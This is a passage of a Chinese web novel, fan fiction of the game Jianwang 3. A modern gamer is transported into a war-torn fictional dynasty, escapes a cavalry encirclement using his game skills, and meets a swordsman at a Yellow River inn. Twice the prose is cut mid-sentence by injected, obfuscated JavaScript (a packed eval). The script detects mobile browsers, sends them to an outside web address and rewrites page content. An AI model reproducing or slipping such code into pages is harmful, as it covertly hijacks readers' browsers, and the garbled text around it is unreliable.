《策师傅今天复国了吗[剑三]》 1. 突围 李系又穿越了。 一个普通的周四晚上,李系如往常一样,普通地下班,普通地去剑网3里上班,普通地指挥战场,割人头、攒威望、赚战阶。 今天的地图是浮香丘。 他调了调麦克风,扫了一眼团队配置,迅速在脑中排兵布阵:“奶秀、藏剑和毒经去东三,霸刀、奶花和气纯守南六。先把旗子占了,箱子刷新后藏剑和霸刀负责背箱,其余的跟我去中间打团。” 团队频道里,一排“1”刷了上来。 倒计时归零,双方同时出门。 李系策马当先冲上中路桥,对面的人也刚好到,大战一触即发。 早已做好准备的策师傅瞅准时机,绕后开山起手接风、沧月推,车悬阵螺旋打伤害。 “大家做得很棒!我们得分比他们快,就这样配合,这把稳赢!加油!” 他一边盯着小地图观察局势,一边指挥团队追击输出,不忘喊话求奶妈关爱。血条见底的前一刻,果断开虎溜走脱战,撤到后排等CD转好再战。 “来,继续冲他们!” 【“杀一下”】 【“黄泉路遥,珍重!”】 【“慢走不送!”】 【“还有谁”】 电脑上,击杀语音此起彼伏,连成一片。 李系勾起嘴角。 嘻嘻。 古有赵子龙七进七出,今有策师傅车悬阵旋转收人头。 如此快意潇洒纵情洒脱—— 这——就是——天策! 团队频道里,小伙伴们也聊得热火朝天。 【Wok!指挥这伤害也太猛了吧!】 【不愧是花萝哥!】 【等下,这个【李系花萝】是指挥?声音好好听,但怎么ID这么骚[#笨猪]】 【哈哈哈哈我也觉得!】 【大概这就是天策和花萝之间的羁绊吧[#笨猪]】 李系瞥了眼频道,无奈道:“不是你们想的那样,我是正经天策,花萝友好的那种天策好吧?” 团队频道里继续刷: 【谁家正经天策ID里带花萝?[#鄙视]】 【李系花萝?你系花萝,那我系什么?[#鄙视][#刀][#刀]】 【李系花萝?你系花萝,那我系什么?[#鄙视][#刀][#刀]】 【噫,好骚啊[#笨猪]】 本来因形势大好而唇角上扬的李系看到这调侃加复制,嘴角瞬间垮下来。 不嘻嘻。 要说为什么他ID里有花萝—— 当初起名的时候手滑打错了字,本来想叫“李系华洛”,结果“华洛”打成了“花萝”。等他反应过来后,发现改名还得花六十块钱,遂果断拒绝。 改名?改什么名? 六十块钱,再添六百二十八韭个盒子不香吗? 这时,电脑突然黑屏。 李系愣住了。 这……怎么肥四? 然而不待他起身去检查电脑,眼前突然爆发出一阵红光,将他整个人裹了起来,逼得他不得不闭上眼。 这是一种玄妙的感觉。 肺部被猛力压缩,前额叶像是被无限拉长,化作无数根丝线穿过灵魂,带来阵阵战栗。 “轰——!” “杀啊——!”“杀!!” 喊杀声如惊雷炸响,震得李系耳膜生疼。 他猛地睁眼。 入目是漫天烽烟。 “嗖——!” 一道流失破空而来。 !! 李系浑身汗毛倒竖,下意识偏过头。 铁箭贴着他的耳廓射向身后,紧接着是一声闷响。 他侧目,顺着声音看过去:一名大臂系红巾的民壮直挺挺地从马上栽落,咽喉处插着那支铁箭,手中的大刀同尸体一同坠落在地。 民壮的脸刚好朝向李系,双目瞪圆,像是在盯着他看;面部肌肉挤在一起,狰狞又可怖。 死不瞑目。 李系呼吸停滞,瞳孔骤缩。 一个人,一个活生生的人竟然就这么死在了他面前! 这、这…… 他环顾四周。 残阳如血,斜照在无边无际的旷野上。远处城墙坍塌了半角,浓烟滚滚直冲云霄,火光映着天幕,将半边天烧得焦红。 金戈铁马,旌旗蔽日。 高举着蓝色狼腾旗帜和“朔”字大旗的重甲铁骑如潮水般从四面八方涌来。 铁蹄踏过之处,惨叫不断,血肉飞溅。战鼓擂擂,号角长鸣,刀光剑影间,兵刃相击之声不绝。 血腥气混着焦糊的火药味铺面而来,弄得几乎凝成实质,呛得人喉头发紧、眼眶发酸。 两军交战正酣。 一方是头插翎羽、扛着苍狼“朔”字旗的胡虏骑兵,铁骑踏处,扬起漫天沙尘;另一方是大臂缠着红巾的中原步卒与零星骑兵,甲胄老旧,兵刃卷缺,在那铁骑洪流前苦苦支撑。 地上尸骸枕籍,血污漫流,多是红巾军。 胡虏骑兵已截断退路,形成合围之势,包围圈如绞索般一寸寸收紧。 杀阵已成,胜负已分。 “少将军——!” 身侧蓦地有人纵马向他奔来,满脸血污,声音悲恸。 来人一身老旧甲胄,大臂系红巾,头上也裹着红巾——不知是原本便是红色,还是叫血浸透了的。他面容沧桑,虎目泛红。 “将军口令,命您带着玉匣突围!” 话音未落,他已一夹马肚,越过遍地横陈的尸首,来到李系身前,踉跄着几乎跌下马来。 李系赶忙伸手扶住他。 “小将军。”红巾汉子喉头哽咽,将一只漆黑的墨玉匣硬塞进他怀中,“将军……将军他战死了。” 李系低头。 玉匣不过掌心大小,冰冷的墨玉上雕着金乌衔日的纹样,匣面上还沾着半干的血迹,温热尚存。 玉匣?龙武军? 什么东西? 等等,龙武军,他好像在哪里…… “将军死前托我转告您——”红巾汉子死死握住他的手臂,声音沙哑:“这玉匣是终结乱世的关键。务必亲手交给漠北节度使,也就是龙武军大帅。” 他虎目噙泪,却字字铿锵: “今神州陆沉,腥膻遍地。幸大燕气数未绝,据说当初先帝死后,皇后于京畿诞下一遗腹子后去世。而皇子则流落江湖,下落不明。寻天子,止干戈,复中原……此千钧重担,现今唯少将军一人可当矣!” 李系目光微动。 这番话说得情真意切、掷地有声,字里行间的家国之志与慷慨之气,令人动容。 可…… 他张了张嘴,正要发问—— 突然,前方传来一阵骚动。 一队重骑兵正朝他们的方向冲杀过来,马蹄所过之处,红巾军如麦浪般倒伏下去。 为首的将领大刀遥指李系,厉声高喝:“在那里!玉匣在河东军大将养子的手里——杀了他!夺玉匣!” 话音落下,他一夹马腹,率队直冲过来。 “不好!是铁勒三大王,阿史那·枭烈!”红巾汉子脸色骤变。 他急急将白马缰绳塞进李系手中,催促道:“快,少将军,上马!” “带着玉匣去凉州!去找龙武军大帅!” 李系看着他将自己护在身后的背影,看着他大臂上那抹比天边残阳还要浓烈的红色,右眼倏然一跳。 “那你怎么办?”他焦急道。 红巾汉子握紧长枪,回眸朝他一笑。 那笑容里没有惧意,只有慨然赴死的坦荡。 “我?”他朗声道,“大丈夫,当马革裹尸、战死沙场!” 他大手一挥,朝着周围的河东军残兵高呼:“兄弟们,保护少将军!助少将军突围——!!” 说完,他大吼一声,举枪直冲铁勒骑阵。 周围的河东军士兵们纷纷聚拢过来,将李系护在身后,也举着卷刃的兵器,视死如归地朝铁骑迎去。 为首的铁勒将领见状,唇角一勾,从背后箭囊中抽出一支羽箭。 弓如满月,箭似流星—— 那支箭破空而至,一箭射穿了红巾汉子的脑袋。 “不——!!张都头——!!”河东步兵们痛呼出声,目眦欲裂。 射杀张都头的铁勒将领放声狂笑:“哈哈哈——软蛋中原人!” 他一甩马鞭,提速冲刺,高声喝道:“上!宰了这群中原猪!夺取玉匣!” 令下如山,铁勒骑兵们一边放箭射杀,一边分作两路包抄,转瞬便将李系与剩余的十几名河东残兵围在当中。 四面皆是狼旗。 无路可退。 然而铁勒骑兵围住他们后,并没有立刻动手,反而骑着马绕圈而行,像是戏耍落入陷阱的猎物。 “李家小儿——!” 为首的铁勒将领策马上前,手中弯刀遥指李系,居高临下。 “抬起头来。” 李系缓缓抬头。 这胡虏将领生得锋眉亮眼、高鼻薄唇,目光阴鸷,带着一股鹰视狼顾的凶悍之气。 铁勒三大王,阿史那·枭烈。 四目相对的刹那,阿史那·枭烈的隼目微微一睁。 落日余晖里,那中原小将身披银红鳞甲,几缕碎发被朔风拂过面颊。剑眉入鬓,星眸清冽,鼻若悬胆,薄唇如削。明明身陷死地,那双眼里却没有丝毫惧色与卑怯,反而透着一股清肃冷峻的锋芒。 渊清玉絜,静水深流。 他策马又近几步,目光如毒蛇游走,将李系从头到脚细细打量了一遍。 如此儒少郎君,杀了……可惜。 “小郎君。”他开口,声音里带上了几分玩味,“你养父李成已然伏诛,河东军败了。” 他舔了舔干燥的嘴唇,隼目微眯:“你这般的玉人儿,杀了实在可惜。本王素来怜香惜玉——你若肯乖乖投降,本王便破格收你做个男夫人,如何?” 此言一出,周围的河东残兵勃然大怒。 “放你娘的狗屁——!” “铁勒胡狗休得侮辱我们少将军!!” 李系没有说话。 他只是直直地盯着阿史那·枭烈,后颈的汗毛根根竖起。 不是因为恐惧。 而是—— 一道无比熟悉的钟鸣旋律声在他脑海中炸响。 剑网3的启动音乐。 随着音乐一起出现的,还有一层淡淡的黑幕。紧接着,三个大字如白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381098|200182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 墨浮出,撞击后又倏然消散—— 【X山居】 ……为什么,他会在这里听到这个。 【系统加载中……】 【系统加载成功。】 李系看着眼前浮现的淡青色角色选择界面,太阳穴突突直跳。 界面里躺着他的天策成男大号。 熟悉的界面,熟悉的角色,熟悉的一切。 这不是他的账号吗? 他这是带着剑三系统穿越了?! 就思绪电转间,身后骤然传来一阵怒吼—— “兄弟们,跟他们拼了!” 河东残兵们开始了最后的反扑。 喊杀声如惊雷炸响,将李系从震惊中猛然拉回。 一只布满老茧的手用力推了他一把。 “少将军,你还愣着作甚?!” 头发花白的老兵眼眶通红,声音嘶哑:“快走啊!活下去!替大帅、替弟兄们……报仇!” 李系鼻子一酸。 他没有时间多想,迅速将玉匣塞进背包,深深看了一眼那些将他护在身后、正朝铁勒铁骑悍不畏死冲去的河东义士们。 然后,他咬紧牙关,点了进入。 【角色登录中……】 【登陆成功。】 下一瞬,一股磅礴的气劲贯入四肢百骸,仿佛任督二脉尽数打通。 天策的技能涌入脑海,刻进骨血,融入本能。 身体前所未有的轻盈。 李系猛地转身,朝着包围圈最薄弱的方向冲去。 一个扶摇直上。 然后蹑云逐月接二段跳。 枪尖在夕阳下划出一道银弧,他整个人如苍鹰掠空,从两名铁勒骑兵的头顶飞跃而过,稳稳落在包围圈外。 “什么——?!” 阿史那·枭烈瞳孔骤缩。 下一瞬,他怒意上涌,从箭囊中抽出一支羽箭,弯弓便射—— “找死!” 李系眼角余光捕捉到那道破空而来的寒芒。 身体先于意识而动。 瑶台枕鹤。 他整个人向右侧倾倒,那支羽箭几乎是贴着他的鬓发飞过,带起一缕断发。 落地的瞬间,李系撑枪稳住身形,扬起头,双指抵唇—— 一声清亮的呼哨破空而起。 任驰骋。 百步之外,张都头留下的白马猛然昂首,四蹄刨地,发出一声高亢的嘶鸣。 那气势凶悍得不像一匹寻常战马,沿途的铁勒骑兵座下战马纷纷受惊后退,连连嘶鸣,甚至有几匹直接将背上的骑兵掀翻在地。 白马横冲直撞,眨眼间便冲到李系身侧。 李系一把攥住缰绳,借力翻身上马,双腿一夹马腹—— “驾!” 白马长嘶一声,四蹄翻飞,朝着战场外疾驰而去。 “混账——!!” 阿史那·枭烈气得面容扭曲,厉声喝道:“追!都给本王追!抓住他——本王要他求生不得、求死不能!!” 话音未落,他忽觉背脊一寒。 本能驱使下,他猛然抬头—— 只见那白马背上的青年不知何时已转过身来,弯弓搭箭,箭尖直指他的眉心。 李系逆光而立,眸光冷冽如霜。 即将完全落下的夕阳将他的轮廓染成一道金红色的剪影。 乘龙箭。 弓如满月,弦声暴响。 “——!!” 阿史那·枭烈瞳孔剧缩,千钧一发之际,一把揪过身旁的副将挡在身前。 副将闷哼一声,连惨叫都来不及发出,整个人便被那一箭的力道推得向后撞来。箭矢洞穿他的胸膛,去势不减,半截箭头竟硬生生将他身后阿史那·枭烈的胸甲撞出一个深深的凹痕! 阿史那·枭烈后背冷汗涔涔,手臂都在发颤。 好重的箭…… 若方才挡在身前的不是副将,而是他自己—— 他不敢再想下去。 待他再抬头时,那白马已冲出数十丈外。 白马一路绝尘,骑白马的少将军挥舞着长枪,鏖战八方,将前来围攻他的人全部挑飞。 更诡异的是他□□那匹白马—— 明明已被数十铁骑团团围住,无路可走,那马却像是开了天眼,总能在包围圈合拢前的一瞬找到缺口,猛然突进,将主人带离险境。 于是阿史那·枭烈便看见了此生最不可思议的一幕—— 那个青年郎,单枪匹马,硬生生从他千人铁骑阵中杀出了一条血路。 他在万军丛中左冲右突,长枪翻飞,白马如龙,竟无一人能挡。 夕阳沉入地平线。 夜色四合。 那道白色的身影越来越远,越来越小,最终彻底消失在茫茫夜色之中。 阿史那·枭烈策马立在原地,久久没有动弹。 良久,他身旁的亲卫小心翼翼地开口:“三……三大王?” 阿史那·枭烈没有回答。 他只是死死盯着那个方向,眼底的恼怒、不甘与震惊渐渐褪去,取而代之的,是一抹浓得化不开的欲念和贪婪。 “有意思。” 他勾起嘴角,舔了舔嘴唇。 “真有意思……” 2. 系统 风陵渡口,有间客栈。 客栈依水而建,一边是平川商道,一边是浩荡磅礴的黄河。 入秋了,河风裹挟着水汽与寒意,吹得岸边芦苇与狗尾草沙沙作响,也吹得人骨缝透凉。 客栈旁的渡口桥下,几艘乌篷船随波轻晃。河滩上,三两面容黧黑粗糙的船夫蹲坐在一处喝闷酒,眉宇间皆是化不开的愁苦。 “听说了没,”一个船夫抿了口酒,压低声音,“河东义军在平阳和铁勒人对上了。” 另一人闻言,手里的粗瓷碗一顿:“什么?铁勒又南下了?战况如何?” “唉……”先前说话那人重重叹了口气,“就前几天的事。李成大将军被乱箭射死了,还有前去支援平阳的各方豪侠义士……全部被铁勒人筑了京观。” “河东义军……全没了。” “什么?!”几个船夫齐齐变了脸色。 筑京观。铁勒人惯用的手段——将战死者与俘虏的尸首堆在一起,用土夯实,筑成高台,以此炫耀武功、震慑敌人。 何其残忍。 何其屈辱。 “苍天无眼呐!”一个老船夫猛地将酒碗摔在地上,浑浊的老眼泛红,“李将军那样的大好人……怎么就……怎么就……该死的铁勒胡狗!” “谁说不是呢。”另一人苦笑,望向北方,目光空洞,“二十年了。二十年前,天德三年除夕夜,铁勒人焚了燕京、杀了皇帝,占了燕云十六州。打那以后,他们每攻下一座城池,就屠光那里的人,搜刮走所有的钱粮。要不是太原李氏的河东军一直在顶着……咱们这里,早就被踏平了。” “现在好了,太原城破,平阳府破。铁勒人恨毒了李氏,把他们全筑了京观。李氏亡了,河东军没了。” “平阳离风陵渡不过五百里,没了河东军,铁勒人若是继续南下……谁还能挡?” 无人应答。 秋风萧萧,吹皱一河寒水。河岸芦苇倒伏,哀声簌簌。 良久,老船夫哑着嗓子开口,声音里满是疲惫与认命:“能跑的……就跑吧。” 他捡起摔破的半只酒碗,将里头残余的浊酒一饮而尽。 “像我这种跑不了的,能活多久,便是多久了……” * 客栈二楼,临窗的位置。 一名戴着斗笠的年轻人坐在那里,面前摆着一壶茶,茶水早已凉透。 船夫们的话顺着河风飘上来,一字一句,尽数落入他耳中。 李系捏紧了手中的茶杯,斗笠下的瑞凤眼微微泛红。 铁勒南下、平阳、太原李氏、河东军…… 竟然已经过了二十年。 而天下也乱了……二十年。 他深吸一口气,指尖微微发颤。 这是他第二次穿越。 他又穿回来了。 他本是大燕人,姓李,名系,字华洛,伊阳陆浑山人氏。二十岁那年,他进士及第,被派往云州任县尉。 彼时天下承平日久,朝中却已是暗流涌动。官场腐败,党争不断,边疆铁勒频频犯境,朝廷却只知一味求和、割地、赔款。 他上书言事,求朝廷增兵御敌,折子石沉大海;边关百姓饱受胡虏磋磨,朝堂诸公却只顾争权夺利。 二十五岁那年,他愤而摔笔,弃文从戎,投身边军,抗击铁勒。 天德三年初,铁勒大军南下,兵临云州。 他死守孤城,援兵不至,粮草断绝,最终城破。 天德三年末,他战死在云州城头,年三十二岁。 死后,他穿到了“二十一世纪”,一个他从前想都不敢想的太平盛世:天下一统,四海升平,百姓安居乐业,再无战乱之苦。他在那里重新长大,读书、考试、工作,过着平凡而安稳的日子,除了身子弱了些,常生病外,基本无忧。 闲暇时,他也曾翻阅史书,想要寻找故国的痕迹。 然而现代的历史里,并没有他所来自的那个大燕朝。史书中记载的慕容氏燕,是在东晋十六国时期;而他记忆中的大燕,规制礼法皆近于唐末。 大燕朝从未存在过,而他的前世,似乎也只是南柯一梦。 李系垂下眼,看着茶杯中倒映的面容。 剑眉,瑞凤眼,细高鼻,薄唇。 与前世燕朝时一般无二,与现代时也一般无二。 李系长叹一声,轻抿了口凉透的茶水,继续点击脑子里的系统。 【是否加载“太原李系”的记忆?】 【是/否】 他选择了【是】。 下一瞬,一股庞杂的信息流涌入意识,如走马灯般在脑海中飞速掠过—— 这具身体原本的主人,也叫李系。 养父是太原河东军首领李成,养母是从燕京逃出来的大宫女李翠。 李系默默在心里算了算“李系”的生辰。 天德三年,腊月十五。 竟然和云州城破、自己战死沙场的日子是同一天。 记忆继续涌入。 这二十年里,原本的“李系”毫无自己的意识,仿若行尸走肉——没有喜怒哀乐,每日只知道吃饭、睡觉、练武、杀敌,旁人与他说话,他也只是木然以对,从不主动开口。 李成与李翠忧心不已,遍访名医,皆束手无策。后来听闻华山有位扶摇子,道法高深,能断人祸福、知天命玄机,便备了重礼,亲自上山相请。 那扶摇子却是个怪人。 他骑着一头青驴下山,行至李家门外,连驴都没下,只远远朝屋内望了一眼,便开始掐指起卦。 半晌,他忽地抚掌而笑,道:“妙哉,妙哉。此子命格贵不可言,乃帝王之相。只是魂魄不全,帝星未至,故而神智混沌,不似常人。” 李翠忙问:“敢问道长,如何才能治好?他可是——” 扶摇子摇了摇头,笑而不答。 李成又问。 扶摇子一甩拂尘,留下八个字: “静候时至,天下归一。” 言罢,他调转驴头,飘然而去,任凭李成如何追问,再不肯多说一字。 有了华山老祖这番话,李成与李翠虽不明就里,却也继续将“李系”当作宝贝一般养着。 所幸这孩子虽然灵智未开,却能生活自理,且天生神力、悍不畏死,上了战场便如杀神降世,屡立奇功。李成便顺水推舟,给他封了个少将军的名头,也好名正言顺地带在身边教养,为日后“帝星降临,天下归一”搭桥铺路。 直到三日前,平阳一役,李成战死。 临终前,他让手下张大彪将玉匣托付给李系,命他西行凉州,去寻龙武军大帅。 记忆到此为止。 李系睁开眼,眸光微沉。 二十年的记忆如潮水般退去,却在心底留下一片难言的怅然。 李成,侠肝义胆,铁骨铮铮。 李翠,知书达理,坚韧温柔。 这夫妇二人皆是乱世中难得的好人。太原城破后,他们本可带着河东军残部退守关中,保全实力,却偏要以血肉之躯挡在百姓身前,死战不退,替一方黎庶撑起一片天。 他们待原身也极好。 虽知这孩子灵智不全、形同痴儿,却从未嫌弃过半分。二十年如一日,衣食起居照料得妥妥帖帖,还请名师教他武艺,带他上阵杀敌,一心盼着他有朝一日能魂魄归位、成就大业,荡平乱世,还天下太平。 养育之恩,舐犊之情,不是亲生,胜似亲生。 可这样的好人……终究还是敌不过乱世洪流。 李成死在了平阳府外,死在了胡虏的乱箭之下,至死都没能等到养子清醒的那一天。李翠更是早在五年前便积劳成疾,撒手人寰。 他们夫妇一生忠义,却落得个抱憾而终的下场。 李系垂下眼眸,胸口像是被什么堵住了,沉甸甸的,闷得发疼。 他与这二人素未谋面,这份养育之恩,原是属于原身的。可现下承载着这具身躯、接收了这二十年记忆的人,是他。 既来之,则安之。 这份恩情,他认下了。 虽不知那帝星魂魄是什麽一回事,但他会替原身好好活着,也会替李成李翠夫妇完成他们未竟的心愿。 先查看一下系统吧。 他在逃亡路上观察了一下,发现这个系统和他在现代看过的那些穿越小说系统完全不一样。 小说里的系统,不但会说话、发布任务,还十个有九个是话痨。 而他的这个系统,只是一个纯粹的操作系统,一个装在他脑子里的、没有安装任何智能助手的古早软件。 系统右侧任务栏里挂着两个任务: 【任务追踪(主线):西行千里送秘宝|将玉匣交给龙武军大帅:(0/1)】 【任务追踪(主线):海誓山盟|找到一个心上人确认关系:(0/1)】 没有任务指引,没有地图标记,一切皆需自行探索。 第一个任务还好理解,玉匣是养父临终托付,龙武军大帅在凉州,西行送宝,合情合理。 可第二个任务…… 李系盯着那四个字,眉头拧成一团 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381099|200182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 神TM海誓山盟,这不是剑三的七夕的活动任务吗? 这俩之间有什么关联吗? 怎么看都没有吧! 他盯着那两行字看了许久,最终像是认命一般,将目光移开。 算了,懒得吐槽了。 船到桥头自然直,先这样吧。 看看别的。 李系点开角色面板,查看人物属性—— 【坐骑:里飞沙·踏秋】 看着那个熟悉的坐骑名字,李系嘴角不由微微上扬。 爱你,莎莎。 接着看其他的—— 【装备分数:???】 【气血上限:???】 【系统提示:暂无更多信息】 ……还真是个纯古早金手指系统,什么都没有。 李系默默点开背包。 500金砖,6000金,329银,91铜钱。 塞满两个梨绢落绒包的皇竹草,各种桌子、小药,几颗老玄晶,以及足足1400块小铁——70级到130级,每个级别各200块,整整齐齐放在背包里。 看来系统是将自己剑三账号里的资产原样复刻过来了。 李系看着那500块金砖,忽然觉得自己脸黑不出玄晶、做不成当季大橙武这件事,似乎也没那么难以接受了。 毕竟在这乱世,有钱总比身无分文要强。 而且换算下来,他这已经不是“有钱”了。 是非常有钱。 五百万两黄金是什么概念? 比大燕鼎盛时期的国库还要充盈。 心念微动,一两金锭便凭空出现在掌心。 与此同时,系统背包里的数字从6000金变成了5999金。 李系捏着金子放到嘴边,轻咬一口,然后瞳孔微震。 靠,能取得出来,是真金! 也就是说—— 他李系,现在是这片土地上最富有的人。 ……大概。 李系深吸一口气,将那两金锭收入袖中,底气一下子足了不少。 银钱充足,马草管够,甚至还能招兵买马。 把系统里里外外摸了个遍后,他心里大致有了谱。 李系提起茶壶,给自己斟了一杯茶。 茶汤浑浊,粗粝的茶梗在水中浮浮沉沉。 李系举起茶杯,望向窗外。 窗外黄河奔流,浩浩汤汤。 河风灌入窗棂,吹得他鬓发微乱。 李系的目光渐渐变得深远。 第一世,他人微言轻,能力微薄,上书言事无人听,弃笔从戎无人援。云州城破之时,他只能眼睁睁看着胡虏铁骑踏碎大燕山河,看着城中百姓哭嚎惨死,却无能为力。 他死在那座孤城的城头上,死在漫天箭雨之中,至死都没能等到朝廷的一兵一卒。 三日前,他初至此世,神智混沌,懵然未醒。平阳府破之时,他又只能眼睁睁看着将军战死、十万忠魂埋骨沙场,自己则如丧家之犬,仓皇逃命。 如此无力,如此窝囊。 李系垂下眼,看着茶杯中倒映的自己。 许久,他忽然笑了一下。 既然老天让他带着这个系统重回此世,那他便要将这金手指发挥到极致。 管它是天命还是差错,管它是轮回还是因果。 他要招兵买马,广结英豪。 他要找到慕容氏那位最后的皇子,辅佐殿下收复中原,恢复大燕。 在那之后,他要领军北伐,驱逐铁虏。 他要荡平这乱世。 他要这天下,太平长宁。 窗外,残阳如血,将滔滔河水染成一片赤金。 李系将茶一饮而尽,杯落案响。 就在这时—— “砰!” 客栈大门被人一脚踹开,急促的脚步声骤然响起,夹杂着兵刃出鞘的铮鸣。 一群人鱼贯而入,将整个客栈团团围住。 他们身着黑色短褐,腰悬朴刀,个个面带横肉,凶神恶煞,一看便是本地作恶的帮派混混。 茶水间里原本三三两两的客人顿时慌作一团,碗碟碎了一地,有人惊叫着想往外跑,却被恶棍一把摁住,刀架在脖子上,吓得浑身发抖。 李系不动声色,将斗笠压低了几分。 “都给老子老实点儿!” 为首的壮汉跨步走入茶水间,横眉冷立,扫过在场每一个人,手中大刀寒光凛凛: “你们——谁是施无畏?” 3. 裴施无畏 “——谁是施无畏?给老子滚出来!” 李系手按在长枪上的手一顿。 施无畏? ……不是来找他的? 他慢慢将手放回桌上,眉头微松。 方才他还以为是铁勒人为玉匣一事发布了悬赏,引来各方势力缉拿。 既然不是冲他来的,那便不必打草惊蛇,静观其变便是。 “老子再问一遍:谁是施无畏?!” 为首的光头壮汉不耐烦地一刀劈开身旁的茶桌,瓮声瓮气地高喝:“老子数到三!再不出来,老子就把这客栈里的人一个一个——” “不必数了。” 一个慵懒散漫的男声从角落处传来。 “你爷爷我,在这儿呢。” 这话狂得没边,那嗓音却清越如玉罄,又似金石交鸣,悦耳非常。 李系微微侧目,循声望去。 说话的人坐在另一侧临窗的位置,与他遥遥相对。 那人头戴斗笠,帽檐压得很低,遮去了眉眼,只露出一截棱角分明的下颌与微微上扬的薄唇。 他身着一袭殷红单衣,左手腕间缠着几枚檀木佛珠,衣襟半敞,露出大片蜜色肌肤。几缕碎发垂落颈侧,随意散漫,全无拘束。 此刻,他正单手执碗,仰首饮酒。 几滴酒液溢出唇角,沿着下颌的弧线蜿蜒而下,淌过滚动的喉结,划过厚实挺硕的胸膛,没入衣襟深处。 碗中酒尽,他随手将空碗往桌上一掷,发出一声脆响。 桀骜不驯,落拓疏狂。 被唤作“施无畏”的红衣郎君朝壮汉扬了扬下巴,语带轻蔑:“诸位乖孙,寻爷爷我何事啊?” 光头壮汉一愣,显然未料到此人竟敢如此放肆。 周遭的帮众们勃然大怒,纷纷抬刀怒指他道: “黄口小儿,安敢无礼!” “找死不成?!” 红衣郎哈哈大笑:“好胆!但这死的是谁,犹未可知!” 为首的光头壮汉抬手示意众人稍安勿躁,自己上前一步,目光阴沉地打量着眼前这个狂妄的年轻人。 “就是你小子,买了浪惊天的船?” 红衣郎一脚踏上长凳,单手撑在桌案上,指节轻叩桌面,神态倨傲:“不错!” 光头壮汉冷笑一声,“浪惊天死了,他的船,现在归我镇龙堂所有!” “岂有此理!”红衣郎拍案而起:“银钱已付、船身刻印,那是我裴施无畏的船!你等如何能强取豪夺?” 光头大汉嗤笑出声,满脸不屑:“有何不可?小公子既如此傲气金贵,怎不见你的手下人出来护船?就凭你孤身一人,也敢在风陵渡与人谈买卖?” 红衣郎君双拳紧攥,指节泛白,却并未接话。 光头壮汉见状,愈发得意,叉腰大笑:“老子今日来这一趟,就是知会你一声——你那艘船,我们镇龙堂收下了;你给浪惊天的银钱,我们也一并笑纳了!” 他嗤地一笑,目光轻蔑:“风陵渡谁人不知,浪惊天与我镇龙堂势不两立。你小子偏要在这档口与他做交易,没取你性命,已是天大的恩典!” 说罢,他一挥朴刀,语带威胁:“识相的,趁早滚出风陵渡。否则——” 他拖长了尾音,面露凶光:“别怪咱们不客气。” “走了!” 光头壮汉一声令下,带着一众帮众大摇大摆地朝门外走去。 “慢着。” 红衣郎倏然起身。 他语气不重,甚至还带着几分慵懒,却莫名令人背脊发寒。 镇龙堂壮汉脚步一顿,回头正欲发作,却听“砰”的一声,红衣郎随手一拍身侧桌案,厚实的榆木方桌登时四分五裂,碎成齑粉。 满堂皆寂。 李系瞳孔微震。 好深厚的内力。 他不着痕迹地打量着这位似乎叫裴施无畏的红衣郎君:此人身形颀长,虎背蜂腰,站姿如松,一看便是自幼习武的练家子。 且方才那一掌的劲道,起码是个一流高手。 难怪此人年纪轻轻便敢孤身行走江湖,还行事如此张狂。 原是有恃无恐。 红衣郎拍了拍掌中木屑,朗声道: “在座诸位,多有叨扰。今日茶资,裴某一并结了,还请速速离去,免受池鱼之殃。” 话音落下,茶客们如蒙大赦,翻窗的翻窗,窜门的窜门,转眼便逃了个干净。 茶水阁里只剩三方人马:镇龙堂帮众,红衣郎,以及角落里端坐不动的李系。 红衣郎瞥了李系一眼,只当他是胆大凑热闹的,嗤笑一声,并不理会,转而将目光落在镇龙堂众人身上。 光头大汉见他给脸不要脸,竟敢当众挑衅,面色阴沉下来,朝身后打了个手势。 战斗一触即发。 一名帮众抄起渔叉,朝红衣郎掷去。 红衣郎轻笑一声,摘下斗笠,随手一掷。 斗笠破空而出,将渔叉击飞。 下一瞬,他从身后抽出横刀,足尖一点,身形暴起,直取光头大汉面门! 大汉骇然变色,本能抬刀格挡,却没想到朴刀竟然直接断了! 李系眼前一亮。 好凶悍的刀法! 红衣郎手中横刀刀柄漆黑,盘着一条金龙,刀刃银亮如月华倾泻,一看便是把削铁如泥的绝世利刃。 帮众们一拥而上。 红衣郎见状,不退反进,刀光霍霍,凌厉如电。 兵刃相交间,火星四溅。 转瞬之余,前来进攻的镇龙堂众的武器全被斩断,断刃坠落在地,发出声声脆鸣。 接着,红衣郎身上内力一震,磅礴气劲如潮水般涌出,将围攻之人尽数震退三尺! “砰!” 光头大汉后背撞上门梁,跌落在地。他艰难撑起身子,眼睛死死盯着茶水阁中央那道身影,目光怨毒。 红衣郎挽了个刀花,傲然而立。 河风穿堂而过,吹起他殷红的衣袂,猎猎翻飞。 李系这才看清他的长相:眉峰似刃,狼目含煞,鼻若悬胆,薄唇轻挑。 他周身萦绕着一股嗜血难训的野性,如同自莽原深处走来的狼。 眉目艳烈,狂放不羁。 李系在心里暗忖:此人武功不俗,刀法凌厉,气度非凡,绝非籍籍无名之辈。 只是他初来乍到,对当今江湖所知甚少。 也许在去凉州的路上,该寻些地方志书或江湖小报,好生了解一番时局与江湖形势才是。 “孙子们,给爷爷听好了——” 红衣郎将横刀指向光头,语气森然:“三日内,将船送回渡口。否则,裴某亲自登门,掀了你们这狗屁镇龙堂!” 光头大汉在帮众搀扶下颤颤巍巍站起身,捂着胸口连连后退,面色青白交加:“你……你给我等着!” “镇龙堂不会放过你的!” 